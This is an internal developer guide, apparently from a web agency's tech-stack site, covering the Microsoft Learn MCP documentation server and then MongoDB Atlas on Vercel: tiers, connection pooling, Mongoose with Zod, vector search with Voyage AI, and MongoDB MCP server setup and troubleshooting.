Foundry / Copilot Studio agents Add as an MCP tool (see the Foundry get-started page)

Optional URL parameters

Parameter / URL Effect
?maxTokenBudget=<n> Caps the token count of search responses by truncating them. microsoft_docs_fetch always returns the full page. Microsoft lists this as experimental
https://learn.microsoft.com/api/mcp/openai-compatible Search and fetch in the OpenAI Deep Research tool shape. Experimental

The three tools

Confirmed from a live tools/list on 2026-10-20. The tools now advertise an outputSchema, and its field names differ from older examples, so update any parsers.

Tool Input Output (structured) Limits
microsoft_docs_search query (string) { results: [{ title, content, contentUrl, content_omitted, id, extensionData }] } Up to 10 chunks, ≤500 tokens each
microsoft_code_sample_search query (required), language (optional) { results: [{ description, codeSnippet, link, language, content_omitted }] } Up to 20 snippets
microsoft_docs_fetch url (required; an HTML page on the microsoft.com domain) The full page as markdown, with headings, code blocks, tables and links kept One page per call. No PDF, DOCX or images

language values listed in the tool's schema: csharp javascript typescript python powershell azurecli al sql java kusto cpp go rust ruby php. There's no bicep value. For Bicep, put "bicep" in the query text instead.

Field-name gotcha: a search hit's link field is contentUrl, not url, and its text is content, not excerpt. A code sample's link is link.

The grounding loop

Microsoft's server instructions give this order: "Search gives breadth. Code Sample Search gives practical examples. Fetch gives depth."

flowchart TD
    A["Microsoft question<br/>Azure - .NET - Entra - M365"] --> B["microsoft_docs_search<br/>breadth"]
    B --> C["Up to 10 ranked chunks<br/>title plus contentUrl"]
    C --> F["microsoft_code_sample_search<br/>with language"]
    F --> G["Official snippets"]
    C --> D["microsoft_docs_fetch<br/>1 or 2 best URLs"]
    D --> E["Full page as markdown"]
    G --> H["Grounded answer or code"]
    E --> H
Tool:  microsoft_docs_search
Input: { "query": "Azure Functions HTTP trigger TypeScript v4 programming model" }

Tool:  microsoft_code_sample_search
Input: { "query": "Azure Functions HTTP trigger app.http", "language": "typescript" }

Tool:  microsoft_docs_fetch
Input: { "url": "https://learn.microsoft.com/azure/azure-functions/functions-bindings-http-webhook-trigger" }

In practice you just ask in plain language, and Claude calls the tools:

"Using current Microsoft Learn docs, give me the az CLI commands to create an Azure Container App with a managed identity."

"Is gpt-5.4 available in Azure EU regions? Check Microsoft Learn."


mslearn: the CLI fallback (@microsoft/learn-cli 1.0.0)

The CLI calls the same endpoint and the same three tools from a terminal, with no MCP client. Requires Node ≥ 22. The binary is mslearn.

npx @microsoft/learn-cli@1.0.0 search "azure functions timeout"
npm install -g @microsoft/learn-cli@1.0.0

mslearn search "azure functions timeout" --json | jq '.results[].title'
mslearn fetch "https://learn.microsoft.com/azure/azure-functions/functions-versions" --section "Function app timeout duration"
mslearn fetch "<url>" --max-chars 3000
mslearn code-search "cosmos db change feed processor" --language csharp
mslearn doctor --format json         # runtime + connectivity check

Agent discovery (new in 1.0.0). mslearn setup --cli installs a CLI-first skill that tells the agent to run npx @microsoft/learn-cli@latest whenever the MCP tools aren't available:

Agent User scope Project scope (--project)
Claude Code (--claude) ~/.claude/skills/microsoft-learn-cli/SKILL.md .claude/skills/microsoft-learn-cli/SKILL.md
GitHub Copilot (--copilot) ~/.copilot/skills/… .github/skills/…
Codex (--codex) ~/.agents/skills/… .agents/skills/…

mslearn remove --cli [targets] removes only the files it manages. Cursor isn't supported by setup. If an agent has both the plugin and the CLI skill, it should use the MCP tools and treat the CLI as a fallback.

Setting (non-secret) Purpose
MSLEARN_ENDPOINT env var, or --endpoint <url> Overrides the default https://learn.microsoft.com/api/mcp

When to use the CLI: CI scripts, shell one-liners, and agents with no MCP support. It's also useful in sandboxed cloud runs where MCP isn't configured.


Rate limits and auth

How to stay under the limits:

  1. Search once, with a sharp query. The server has no filter parameter (per the FAQ), so put the scope in the query text, e.g. "Azure Functions Flex Consumption timeout Node.js".
  2. Fetch only the 1–2 best contentUrls. Don't fetch every hit.
  3. Search code samples once, with language set.
  4. Use ?maxTokenBudget= in tight agent loops. It protects your context window, not the rate limit.
  5. On a 429, back off exponentially (2 s, 4 s, 8 s) and don't retry in a tight loop. See examples/learn-mcp-client.mts.

How it fits next to Context7

Both servers enforce the same rule: no answering from training data. Route each question by which source is authoritative.

Question is about… Use Why
Azure services, az CLI, Bicep/ARM, Entra ID, Microsoft Graph, M365, Power Platform, .NET/C#/ASP.NET Core/EF Core, Windows, VS/VS Code features Microsoft Learn MCP First-party, refreshed daily, and has official code-sample search. Also covers service limits, quotas and region availability, which aren't in any package
npm / PyPI libraries and frameworks (Next.js, React, Prisma, Supabase JS, Stripe SDK…) Context7 Version-accurate library docs, indexed from the library repos
Azure SDK packages (@azure/*, azure-* on PyPI) Learn first (microsoft_code_sample_search with language). Check pinned-version API details with Context7 Learn has the scenario docs. Context7 is better for one exact package version
Microsoft-authored OSS that isn't on Learn (e.g. TypeScript, Playwright) Context7 These repos' docs are indexed in Context7

Differences that matter in practice:

Microsoft Learn MCP Context7
Auth None OAuth or a ctx7sk- key recommended
Quota Unpublished fair-use limit, 429 when exceeded Free plan is 1,000 calls a month (see the context7/ guide)
Freshness Incremental updates plus a full daily refresh Per-library re-index
Scope Official Microsoft content only, which protects against unsafe sources Any indexed library. Watch out for forks

Context7 does index Microsoft content too. /microsoftdocs/mcp is this server's own repo, and /websites/learn_microsoft_en-us is a crawl of learn.microsoft.com. For Microsoft questions, though, use the first-party server, which has a daily refresh and dedicated code-sample search. Don't use a crawled copy.

flowchart TD
    Q1{"Microsoft product, service,<br/>CLI, limit or .NET API?"}
    Q1 -->|"yes"| A["Microsoft Learn MCP"]
    Q1 -->|"no"| Q2{"npm or PyPI library<br/>or framework?"}
    Q2 -->|"yes"| B["Context7"]
    Q2 -->|"no"| C["Vendor's own docs MCP<br/>or firecrawl"]

Server Endpoint What it does Auth
Microsoft Learn MCP (this guide) https://learn.microsoft.com/api/mcp Reads docs None
Azure MCP Server (github.com/microsoft/mcp) Local server Operates live Azure resources (Storage, App Service, AI Search…) Your Azure credentials
Foundry MCP Server (preview) https://mcp.ai.azure.com Works with Foundry resources in your subscription Entra sign-in

Use Learn to research a service and the Azure or Foundry servers to act on one. Those two need credentials, so give them least privilege and never point them at production from an unattended agent.


Integration Patterns

Put the rule in CLAUDE.md (or a Cursor rule)

Even with the plugin installed, models sometimes skip the tools. Microsoft's README recommends a system-prompt rule. The codeAmani version:

## Microsoft Documentation Policy

For any Azure, .NET, Entra ID, Microsoft 365, Graph, or Power Platform work:
1. `microsoft_docs_search` with a scoped query (service + runtime + feature)
2. `microsoft_code_sample_search` with `language` before writing code
3. `microsoft_docs_fetch` on the 1–2 best `contentUrl`s for full steps, limits, prerequisites
4. Never use remembered Azure API patterns if they differ from fetched docs
5. If the MCP tools are unavailable, fall back to `npx @microsoft/learn-cli@1.0.0 search "<query>"`

Slash command: research a Microsoft product

.claude/commands/ms-research.md:

Research the Microsoft product/service: $ARGUMENTS.

1. `microsoft_docs_search` for "$ARGUMENTS overview" and "$ARGUMENTS limits quotas pricing"
2. `microsoft_docs_fetch` the most authoritative result
3. `microsoft_code_sample_search` for a starter snippet with language "typescript"
4. Summarise: what it is, when to use it, limits/tiers, canonical docs URLs.
   Flag codeAmani considerations (Stripe default, M-Pesa only for Kenya-targeted
   projects, data residency, server-side secrets).

A custom client (server-side agents)

If your own backend agent calls Learn directly, for example a Next.js route handler, follow Microsoft's three rules: discover tools dynamically, re-list on a 400/404, and handle notifications/tools/list_changed. There's a type-checked, live-tested implementation in examples/learn-mcp-client.mts (@modelcontextprotocol/sdk@1.32.1).


codeAmani notes


Troubleshooting

Issue Fix
Tools don't appear Check type: "http" (not stdio). Run claude mcp list, or install the plugin and restart
Duplicate Learn servers or tools You installed the plugin from both marketplaces, or the plugin plus a manual claude mcp add. Keep one
HTTP 405 You opened the endpoint in a browser. Use an MCP client or MCP Inspector
HTTP 429 You're throttled. Back off exponentially and batch questions. On a shared-IP cloud agent, retry from a local session (#152)
A tool call fails with 400/404 Your cached tool list is stale. Re-run tools/list (reconnect) and retry
Parser can't find url / excerpt The search output fields are contentUrl and content. Code samples use link and codeSnippet
Visual Studio: "Microsoft Learn … unavailable (Reason: Eclipsed)" VS 17.13+ ships Learn built in. Remove any manual entry with the same name (microsoft-learn / Microsoft Learn) from ~/.mcp.json or the workspace .mcp.json
Code sample in the wrong language Pass language. The allowed values are in the table above
Thin search results Rephrase with specific technical terms, then microsoft_docs_fetch the best hit
The agent ignores the tools Add the Microsoft Documentation Policy rule. Microsoft notes even tool-friendly models sometimes skip MCP tools
mslearn fails to start It needs Node ≥ 22. Run mslearn doctor

Official docs:

MongoDB Integration Guide

Technology: mongodb · Category: database · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/mongodb

Insight:

MongoDB is advertised on motionstackstudios.com as a database option, but the house default is Neon Postgres + Drizzle (with Supabase as the second). Reach for MongoDB only on client projects that specifically require a document store — flexible/nested schemas, rapid prototyping, or a per-tenant variable shape. Before choosing it, consult the codeAmani-tech-stack MCP and confirm Postgres + jsonb won't do the job. On Vercel, provision through the Marketplace native integration (it injects MONGODB_URI) and register the module-scoped client with attachDatabasePool so Fluid compute doesn't leak Atlas connections. For Kenya-targeted builds, Atlas AF_SOUTH_1 (Cape Town) pairs with Vercel cpt1; Johannesburg is M10+ only.

███╗   ███╗ ██████╗ ███╗   ██╗ ██████╗  ██████╗ ██████╗ ██████╗
████╗ ████║██╔═══██╗████╗  ██║██╔════╝ ██╔═══██╗██╔══██╗██╔══██╗
██╔████╔██║██║   ██║██╔██╗ ██║██║  ███╗██║   ██║██║  ██║██████╔╝
██║╚██╔╝██║██║   ██║██║╚██╗██║██║   ██║██║   ██║██║  ██║██╔══██╗
██║ ╚═╝ ██║╚██████╔╝██║ ╚████║╚██████╔╝╚██████╔╝██████╔╝██████╔╝
╚═╝     ╚═╝ ╚═════╝ ╚═╝  ╚═══╝ ╚═════╝  ╚═════╝ ╚═════╝ ╚═════╝

MongoDB Integration Guide

Focus: When and how codeAmani uses MongoDB for client projects that require a document database. Covers picking an Atlas tier (Free / Flex / Dedicated), provisioning through the Vercel Marketplace, connection reuse on Vercel Fluid compute with attachDatabasePool, Mongoose with Zod at the boundary, the aggregation pipeline, transactions, MongoDB Vector Search with Voyage AI embeddings, region choice for Kenya-targeted builds, and setting up (and un-sticking) the MongoDB MCP server in Claude Code.

Overview

MongoDB is a document database advertised as an option on motionstackstudios.com. It stores BSON documents in collections rather than rows in tables. That flexibility (nested objects, arrays, a different shape per document) is the whole point, and it's also why MongoDB is not the house default.

The house default for almost everything is Neon Postgres + Drizzle ORM, with Supabase as the second relational option. Postgres jsonb columns cover a lot of "document-ish" needs while keeping strong typing, joins, transactions and per-PR branching. MongoDB earns a place only when a client build specifically needs a document model: a schema that keeps changing, deeply nested data that would be painful to normalize, or per-tenant documents whose fields differ per customer.

flowchart TD
    A["New client build<br/>needs a database"] --> B{"Flexible / nested /<br/>still-moving schema?"}
    B -->|No — relational shape| C["House default<br/>Neon Postgres + Drizzle"]
    B -->|"Maybe — semi-structured"| D{"Does Postgres jsonb<br/>cover it?"}
    D -->|Yes| C
    D -->|"No — true document model"| E["MongoDB Atlas<br/>(Vercel Marketplace or direct)"]
    E --> F["Mongoose schema<br/>+ Zod at the boundary"]
    F --> G["Module-scoped client<br/>+ attachDatabasePool"]
    G --> H["Aggregation · transactions<br/>· Vector Search (Voyage)"]

Check first. Before adding MongoDB to a build, query the codeAmani-tech-stack MCP (search_guides / get_guide) and confirm the Neon/Postgres default (including jsonb) won't meet the requirement. MongoDB adds a second database paradigm, its own ODM, and its own connection-pool pitfalls on serverless.

Official Documentation

Resource URL
MongoDB Docs (root; append .md to any page for Markdown) https://www.mongodb.com/docs/
MongoDB Atlas (managed) https://www.mongodb.com/docs/atlas/
Node.js Driver (v7, current) https://www.mongodb.com/docs/drivers/node/current/
Node.js Driver release notes https://www.mongodb.com/docs/drivers/node/current/reference/release-notes/
Mongoose ODM (v9, current) https://mongoosejs.com/docs/
MongoDB Vector Search https://www.mongodb.com/docs/vector-search/
Voyage AI by MongoDB (Embedding & Reranking API) https://www.mongodb.com/docs/voyageai/
Atlas + Vercel native integration https://www.mongodb.com/docs/atlas/reference/partner-integrations/vercel/
@vercel/functions attachDatabasePool https://vercel.com/docs/functions/functions-api-reference/vercel-functions-package#database-connection-pool-management
MongoDB MCP Server https://www.mongodb.com/docs/mcp-server/
Pricing https://www.mongodb.com/pricing

Versions (verified on npm 2026-10-20)

Package Version Notes
mongodb (Node driver) 7.7.0 (2026-09-28) Node >= 20.19.0. v6 line still published as 6.21.0.
mongoose 9.11.2 (2026-10-12) Node >= 20.19.0. v8 maintained as 8.24.5.
@vercel/functions 3.10.1 Provides attachDatabasePool and waitUntil.
mongodb-mcp-server 3.1.0 (2026-10-15) Node ^20.19.0 || ^22.13.0 || >=24.0.0.
mongodb-client-encryption 7.2.1 Only for Queryable Encryption / CSFLE.
MongoDB Server 9.0 current stable Atlas Flex runs at least 8.0.

Driver 7.x highlights since 7.0 (2025-11): 7.1 built-in MONGODB-AWS auth (no aws4) and exponential backoff in withTransaction(); 7.2 experimental runtimeAdapters and Web-standard Uint8Array / globalThis.crypto instead of Buffer / crypto; 7.3 deprecated MongoDB Server 4.2 and fixed SCRAM auth in Deno; 7.4 made Symbol.asyncDispose (await using) stable; 7.5 made Queryable Encryption prefix/suffix/substring queries GA (Server 9.0); 7.6 dropped Server 4.2, added baseBackoffMS, faster insertMany / bulkWrite, and an ESM-bundling fix; 7.7 fixed an OIDC bug where one failed token fetch poisoned the whole client.


Atlas tiers after the Serverless / Shared retirement

Atlas Serverless instances and the old M2/M5 Shared tiers are gone. You couldn't create them after February 2025, and Atlas stopped supporting them on 2026-01-22. M2/M5 clusters were migrated to Flex; Serverless instances were migrated to Free, Flex or Dedicated depending on usage. Update any Terraform/CLI/API code that still names the old types. Provision only these:

Tier Price (Oct 2026) Storage Limits that matter Use for
Free (M0) $0 512 MB 100 ops/s, 500 connections, 10 GB in + 10 GB out per 7 days, no backups, auto-pauses after 30 idle days Learning, demos
Flex $0.011/hr, capped at $30/month up to 5 GB 500 ops/s, 500 connections, max 50 aggregation stages, no allowDiskUse, one daily snapshot, no private endpoints, no Performance Advisor Dev, staging, low-traffic client apps
Dedicated (M10+) from $0.08/hr (about $56.94/month for M10) 10 GB → 4 TB/node Full feature set; auto-scaling; 99.995% SLA Production, regulated data
Atlas Infinite (public preview) from $0.09/hr (about $65/month) up to 128 TB per HA shard M10+ only; decoupled compute and storage Spiky AI-scale workloads (not yet for client prod)

Search and Vector Search run on the cluster by default. Dedicated Search Nodes (S20 at $0.12/hr and up, us-east-1 prices) are an M10+ add-on. Re-check https://www.mongodb.com/pricing before quoting a client.

Choosing a region (Kenya-targeted projects)

There's no Atlas region in East Africa. The nearest are in South Africa, and only one supports the cheap tiers:

Atlas region Provider / location Free Flex M10+
AF_SOUTH_1 AWS af-south-1, Cape Town ✅ ✅ ✅
SOUTH_AFRICA_NORTH Azure southafricanorth, Johannesburg — — ✅
AFRICA_SOUTH_1 Google Cloud africa-south1, Johannesburg — — ✅ (no Search Nodes)
SOUTH_AFRICA_WEST Azure southafricawest, Cape Town — — ✅

Provisioning

Option A — Vercel Marketplace native integration (preferred on Vercel)

Vercel Marketplace → Storage → MongoDB Atlas → Install. You pick a tier (Free, Flex or Dedicated), a Vercel region (mapped to the closest Atlas region), and an installation plan:

What it does for you:

Starter: npx create-next-app --example with-mongodb my-mongodb-app, then vercel link and vercel env pull.

Option B — Atlas directly (non-Vercel hosts, or client-owned Atlas orgs)

  1. Create a project and a cluster (Free, Flex or M10+) in the region chosen above.
  2. Database Access: create a user scoped to the app's database.
  3. Network Access: allow the platform's egress. Serverless hosts have dynamic IPs, so you typically need 0.0.0.0/0 and rely on TLS + SCRAM + a strong password. Use private endpoints (M10+) when the host supports them.
  4. Connect → Drivers: copy the SRV string.
mongodb+srv://<user>:<urlEncodedPassword>@cluster0.xxxxx.mongodb.net/<dbName>?retryWrites=true&w=majority&appName=acme-app

Gotcha: URL-encode the password. A literal @, :, / or # breaks parsing, so P@ss:w0rd becomes P%40ss%3Aw0rd.


Connection reuse on Vercel Fluid compute

Fluid compute is the default for new Vercel projects. Concurrent requests share one function instance and its globals, so one module-scoped MongoClient per instance is the right model. The remaining problem is suspension: idle sockets don't time out while an instance is frozen, so they pile up as "phantom" connections against the Atlas limit (500 on Free/Flex). attachDatabasePool from @vercel/functions fixes that. It uses waitUntil to keep the instance alive just long enough to close idle connections before suspending. Vercel lists MongoDB among the supported pool types.

// lib/mongodb.ts  (full file: examples/lib-mongodb.ts)
import { MongoClient, type Db, type MongoClientOptions } from "mongodb";
import { attachDatabasePool } from "@vercel/functions";

const uri = process.env.MONGODB_URI;
if (!uri) throw new Error("Missing MONGODB_URI environment variable");
const mongoUri: string = uri;

const options: MongoClientOptions = {
  appName: "codeamani-app",
  maxIdleTimeMS: 5000, // Vercel recommends a short idle timeout
  maxPoolSize: 10,
};

function createClient(): MongoClient {
  const client = new MongoClient(mongoUri, options);
  attachDatabasePool(client); // close idle connections before suspension
  return client;
}

const globalForMongo = globalThis as typeof globalThis & { _mongoClient?: MongoClient };
export const client: MongoClient = globalForMongo._mongoClient ?? createClient();
globalForMongo._mongoClient = client;

export function getDb(name: string = process.env.MONGODB_DB ?? "app"): Db {
  return client.db(name);
}

Rules:

flowchart LR
    A["Concurrent requests"] --> B["One Fluid instance<br/>(shared globals)"]
    B --> C["Module-scoped MongoClient<br/>maxPoolSize 10, maxIdleTimeMS 5000"]
    C --> D["Atlas cluster"]
    B -. "before suspend" .-> E["attachDatabasePool<br/>closes idle sockets"]
    F["new MongoClient() per request"] -.->|"pool exhaustion ✗"| G["Atlas refuses<br/>new connections"]

Netlify / other serverless hosts: there's no attachDatabasePool. Keep the same module-scoped client and set maxIdleTimeMS. The rest of the pattern is identical.

Mongoose — cached connection

// lib/dbConnect.ts  (full file: examples/lib-dbConnect.ts)
import mongoose from "mongoose";
import { attachDatabasePool } from "@vercel/functions";

const uri = process.env.MONGODB_URI;
if (!uri) throw new Error("Missing MONGODB_URI environment variable");
const mongoUri: string = uri;

interface MongooseCache { conn: typeof mongoose | null; promise: Promise<typeof mongoose> | null }
const globalForMongoose = globalThis as typeof globalThis & { _mongoose?: MongooseCache };
const cached: MongooseCache = globalForMongoose._mongoose ?? { conn: null, promise: null };
globalForMongoose._mongoose = cached;

export async function dbConnect(): Promise<typeof mongoose> {
  if (cached.conn) return cached.conn;
  if (!cached.promise) {
    cached.promise = mongoose
      .connect(mongoUri, { bufferCommands: false, maxPoolSize: 10, maxIdleTimeMS: 5000 })
      .then((m) => {
        attachDatabasePool(m.connection.getClient()); // the underlying MongoClient
        return m;
      });
  }
  try {
    cached.conn = await cached.promise;
  } catch (err) {
    cached.promise = null; // don't cache a failed connect
    throw err;
  }
  return cached.conn;
}

Mongoose schema + Zod at the boundary

Validate untrusted input with Zod first, then persist with a typed Mongoose model. Zod guards request bodies and webhooks; the Mongoose schema is the persistence contract. Full file: examples/provider-model.ts.

import { Schema, model, models, type InferSchemaType, type Model } from "mongoose";
import { z } from "zod";
import { dbConnect } from "@/lib/dbConnect";

export const ProviderInput = z.object({
  name: z.string().min(1),
  licenseType: z.enum(["APD", "AHCA", "DCF"]),
  email: z.email(), // Zod 4; z.string().email() is deprecated
  services: z.array(z.string()).default([]),
  metadata: z.record(z.string(), z.unknown()).optional(),
});

const providerSchema = new Schema(
  {
    name: { type: String, required: true, trim: true },
    licenseType: { type: String, required: true, enum: ["APD", "AHCA", "DCF"] },
    email: { type: String, required: true, lowercase: true, index: true },
    services: { type: [String], default: [] },
    metadata: { type: Schema.Types.Mixed },
  },
  { timestamps: true, strict: true },
);
export type Provider = InferSchemaType<typeof providerSchema>;

// Reuse the compiled model across hot reloads / warm invocations (avoids OverwriteModelError).
export const ProviderModel: Model<Provider> =
  (models.Provider as Model<Provider> | undefined) ?? model<Provider>("Provider", providerSchema);

export const runtime = "nodejs";

export async function POST(req: Request): Promise<Response> {
  const parsed = ProviderInput.safeParse(await req.json());
  if (!parsed.success) return Response.json({ error: z.flattenError(parsed.error) }, { status: 400 });
  await dbConnect();
  const provider = await ProviderModel.create(parsed.data);
  return Response.json({ id: provider._id.toString() }, { status: 201 });
}

Mongoose 9 changes that bite: pre middleware no longer receives next() (return or throw instead), and UUIDs come back as bson.UUID. Also add a collection-level $jsonSchema validator as a backstop for writes that bypass Mongoose (scripts, the MCP server, other services).


Aggregation pipeline

Stages run in order, and each stage's output feeds the next. Full file: examples/queries.ts.

export async function providerIntakeSummary(licenseType: "APD" | "AHCA" | "DCF") {
  return getDb()
    .collection<ProviderDoc>("providers")
    .aggregate<{ name: string; email: string; openIntakes: number }>([
      { $match: { licenseType } },
      { $lookup: { from: "intakes", localField: "_id", foreignField: "providerId", as: "intakes" } },
      {
        $project: {
          _id: 0, name: 1, email: 1,
          openIntakes: { $size: { $filter: { input: "$intakes", as: "i", cond: { $eq: ["$$i.status", "open"] } } } },
        },
      },
      { $sort: { openIntakes: -1 } },
      { $limit: 50 },
    ])
    .toArray();
}

Index the early $match / $sort fields and confirm IXSCAN (not COLLSCAN) with explain or the MCP explain tool. Flex caps pipelines at 50 stages and doesn't support allowDiskUse.

Transactions

Every Atlas cluster is a replica set, so multi-document ACID transactions work everywhere. withTransaction() handles commit/abort and retries transient errors. Since driver 7.1, it also backs off exponentially between retries.

export async function recordIntake(providerId: string, notes?: string): Promise<void> {
  const db = getDb();
  const id = new ObjectId(providerId);
  const session = client.startSession();
  try {
    await session.withTransaction(async () => {
      await db.collection<IntakeDoc>("intakes").insertOne({ providerId: id, status: "open", notes }, { session });
      await db.collection<ProviderDoc>("providers").updateOne({ _id: id }, { $inc: { openCount: 1 } }, { session });
    });
  } finally {
    await session.endSession();
  }
}

Transactions hold locks and add latency (60-second default limit). Embedding related data in one document often removes the need for one.


MongoDB Vector Search with Voyage AI

MongoDB owns Voyage AI. Its embedding models are served by Atlas, and Vector Search can call them for you. There are two ways to use it (full file: examples/vector-search-voyage.ts):

A. Automated Embedding (autoEmbed), the least code

You index a text field with type autoEmbed. Atlas embeds existing and new documents with the chosen Voyage model, keeps the embeddings in sync, and embeds your query text at search time.

await knowledge().createSearchIndex({
  name: "knowledge_auto",
  type: "vectorSearch",
  definition: {
    fields: [
      { type: "autoEmbed", modality: "text", path: "text", model: "voyage-4" },
      { type: "filter", path: "tenantId" },
    ],
  },
});

const hits = await knowledge().aggregate([
  {
    $vectorSearch: {
      index: "knowledge_auto",
      path: "text",
      query: { text: "how do I reset my M-Pesa PIN?" },
      model: "voyage-4",
      numCandidates: 100,
      limit: 5,
      filter: { tenantId },
    },
  },
  { $project: { _id: 0, text: 1, source: 1, score: { $meta: "vectorSearchScore" } } },
]).toArray();
Model $ / 1M tokens Use
voyage-4-lite $0.02 High volume, cost-sensitive
voyage-4 $0.06 Recommended general text
voyage-4-large $0.12 Max accuracy
voyage-code-4 $0.12 Code / technical docs (Atlas only)

B. Bring your own vectors (Embedding API)

Use this when you need the vectors elsewhere too (a cache, another store), or need explicit control. Create a model API key in Atlas (Voyage AI → API keys) and call https://ai.mongodb.com/v1/embeddings. Keys issued directly by Voyage AI use https://api.voyageai.com/v1/embeddings instead.

const res = await fetch("https://ai.mongodb.com/v1/embeddings", {
  method: "POST",
  headers: { Authorization: `Bearer ${process.env.VOYAGE_API_KEY}`, "Content-Type": "application/json" },
  body: JSON.stringify({ input: texts, model: "voyage-4", input_type: "document", output_dimension: 1024 }),
});

Index it as { "type": "vector", "path": "embedding", "numDimensions": 1024, "similarity": "dotProduct" } and query with queryVector. Use input_type: "document" for stored text and "query" for search text; Voyage says this markedly improves retrieval. Voyage 4-series embeddings (-lite, base, -large) are compatible with each other, so you can index with voyage-4-large and query with voyage-4-lite. Dimensions are 1024 by default, or 256/512/2048. The TypeScript SDK is voyageai (0.4.0); point it at Atlas with environment: "https://ai.mongodb.com/v1".

Which RAG store?

RAG store When to choose
Neon + pgvector (house default for Postgres builds) Already on Postgres; vectors next to relational data; SQL filtering
Pinecone (house dedicated option) Large-scale, vector-first workloads; multi-tenant namespaces
MongoDB Vector Search Already on MongoDB; embeddings beside the source documents; Automated Embedding removes the embedding pipeline

Multi-tenant safety: always pass a filter (for example tenantId) in $vectorSearch, and index that path as a filter field. It's the same discipline as WHERE tenant_id = ….

MongoDB Search (formerly Atlas Search) adds full-text $search and hybrid search on the same cluster. It isn't compatible with Queryable Encryption.


Queryable Encryption (sensitive fields)

For fields the server must never see in plaintext (IDs, health data), Queryable Encryption encrypts on the client. The data stays encrypted at rest, in use, in logs and in backups, and still supports equality, range, prefix, suffix and substring queries. Prefix/suffix/substring need driver >= 7.5.0, mongodb-client-encryption >= 7.2.0 and MongoDB Server 9.0. Keys live in a KMS (AWS/Azure/GCP/KMIP). Driver 7.6 can route KMS calls through an HTTP proxy (kmsConnectCallback). It works on Atlas but not with MongoDB Search. Treat it as a design decision: decide at schema time, not after launch.

Atlas Data API and App Services are gone

The Data API and custom HTTPS Endpoints reached end of life on 2025-09-30, and Atlas App Services as a whole is EOL (only Triggers remain in the Atlas UI). There's no HTTP escape hatch for Edge or Workers. Call the database from a Node.js function, or use a Postgres/Neon path for edge-native code.


MongoDB MCP server in Claude Code

There are two servers. Pick one:

Atlas Managed MCP Server (remote) Local MCP (mongodb-mcp-server)
Claude Code plugin /plugin install mongodb-atlas@claude-plugins-official /plugin install mongodb@claude-plugins-official
Auth Atlas OAuth through /mcp → Authenticate (an org owner must enable AI Clients first) Connection string, Atlas service account, or Atlas Local (Docker)
Runs Hosted by MongoDB; no local Node npx on your machine (Node ^20.19 || ^22.13 || >=24)
Best for Atlas clusters, team use Self-managed / local dev, connection-string access

Useful tools (local server 3.1.0): find, aggregate, count, collection-schema, collection-indexes, explain, create-index, list-databases, export, atlas-list-clusters, atlas-get-performance-advisor, atlas-get-regions, atlas-local-create-deployment, search-knowledge.

Local server: safe manual setup

Run the interactive setup once. It writes a config file and asks about read-only mode, so answer Y:

npx mongodb-mcp-server@latest setup

Or register it yourself at user scope, after a global install (see fix 1 below; on native Windows use node + the package path as the command). Keep the connection string in your shell environment (from Hazina), not in the command line, and reference it with ${VAR} expansion in ~/.claude.json:

{
  "mcpServers": {
    "mongodb": {
      "type": "stdio",
      "command": "mongodb-mcp-server",
      "args": ["--readOnly"],
      "env": { "MDB_MCP_CONNECTION_STRING": "${MDB_MCP_CONNECTION_STRING}" }
    }
  }
}

Useful flags (or MDB_MCP_* env vars): --readOnly (only read/connect/metadata tools are registered), --indexCheck (rejects queries that would COLLSCAN), --disabledTools atlas or --disabledTools create update delete, --transport http --httpHost=0.0.0.0 (then connect to http://host:3000/mcp).

"connection timed out after 30000ms" — what's going on and how to fix it

On 2026-10-20, plugin:mongodb:mongodb timed out in the codeAmani Claude Code session. Here's the cause:

Fixes, in order of preference:

  1. Install the server once and point Claude Code at it (no npx on each start):
    npm install -g mongodb-mcp-server@3.1.0
    # macOS / Linux / WSL
    claude mcp add mongodb --scope user -- mongodb-mcp-server --readOnly
    # Native Windows: run the package entry with node (avoids .cmd shim resolution)
    claude mcp add mongodb --scope user -- node "C:/Users/<you>/AppData/Roaming/npm/node_modules/mongodb-mcp-server/dist/esm/index.js" --readOnly
    
    npm root -g prints the global node_modules path if yours differs. Then turn off the plugin's own server (plugin:mongodb:mongodb) in /mcp, or disable the plugin in /plugin, so the slow npx copy doesn't keep timing out next to yours. Disabling the whole plugin also removes its mongodb-* skills.
  2. Or warm the npx cache so later cold starts are fast: npx -y "mongodb-mcp-server@<3" --version.
  3. Or raise the startup timeout for the session: export MCP_TIMEOUT=180000 (bash) or $env:MCP_TIMEOUT = "180000" (PowerShell) before starting claude.
  4. Or switch to the Atlas Managed MCP Server (mongodb-atlas plugin). It's remote, so there's nothing to download.

If it still fails: check node --version against the engines range, then read the logs at %LOCALAPPDATA%\mongodb\mongodb-mcp\.app-logs (Windows) or ~/.mongodb/mongodb-mcp/.app-logs. For HTTP transport, make sure the URL ends in /mcp. Atlas tools return "Atlas API credentials not configured" without MDB_MCP_API_CLIENT_ID / MDB_MCP_API_CLIENT_SECRET, and 403 if the service account's role is too low.

Safety: keep MCP sessions read-only against anything with client data. Writes through the MCP bypass Mongoose validation, so the collection $jsonSchema validator is your backstop. Never paste a connection string into chat; the docs warn specifically against runtime connect with production URIs.


Environment Variables

Only real secrets go below. The Vercel Marketplace integration injects MONGODB_URI for you.

# Atlas SRV connection string — server-only secret (contains the DB password, URL-encoded).
MONGODB_URI=mongodb+srv://app_user:URL%2DENCODED%2DPASS@cluster0.xxxxx.mongodb.net/app?retryWrites=true&w=majority&appName=acme-app

# Atlas model API key for the Voyage AI Embedding API (option B only; autoEmbed needs none).
VOYAGE_API_KEY=your-atlas-model-api-key

# MongoDB MCP server (local dev only) — never a production URI.
MDB_MCP_CONNECTION_STRING=mongodb+srv://readonly_user:...@cluster0.xxxxx.mongodb.net/
MDB_MCP_API_CLIENT_SECRET=your-atlas-service-account-secret

Non-secret settings:

Variable Example Purpose
MONGODB_DB app Database name when it isn't in the URI path
MDB_MCP_API_CLIENT_ID <service-account-client-id> Atlas service-account ID (pairs with the secret above)
MDB_MCP_READ_ONLY true Force the MCP server into read-only mode
MCP_TIMEOUT 180000 Claude Code MCP startup timeout in ms (shell, not app)

MONGODB_URI, VOYAGE_API_KEY and the MCP secrets are server-only. Never use a NEXT_PUBLIC_* name for them, and store them in Hazina / Vercel env vars, not committed files.


Common Use Cases

Use Case Approach
Default relational database Neon Postgres + Drizzle (house default). Use MongoDB only for true document needs
Semi-structured / occasional nesting Postgres jsonb on Neon before reaching for MongoDB
Flexible / evolving / per-tenant schema MongoDB Atlas + Mongoose Schema.Types.Mixed
New project on Vercel Marketplace native integration → MONGODB_URI injected
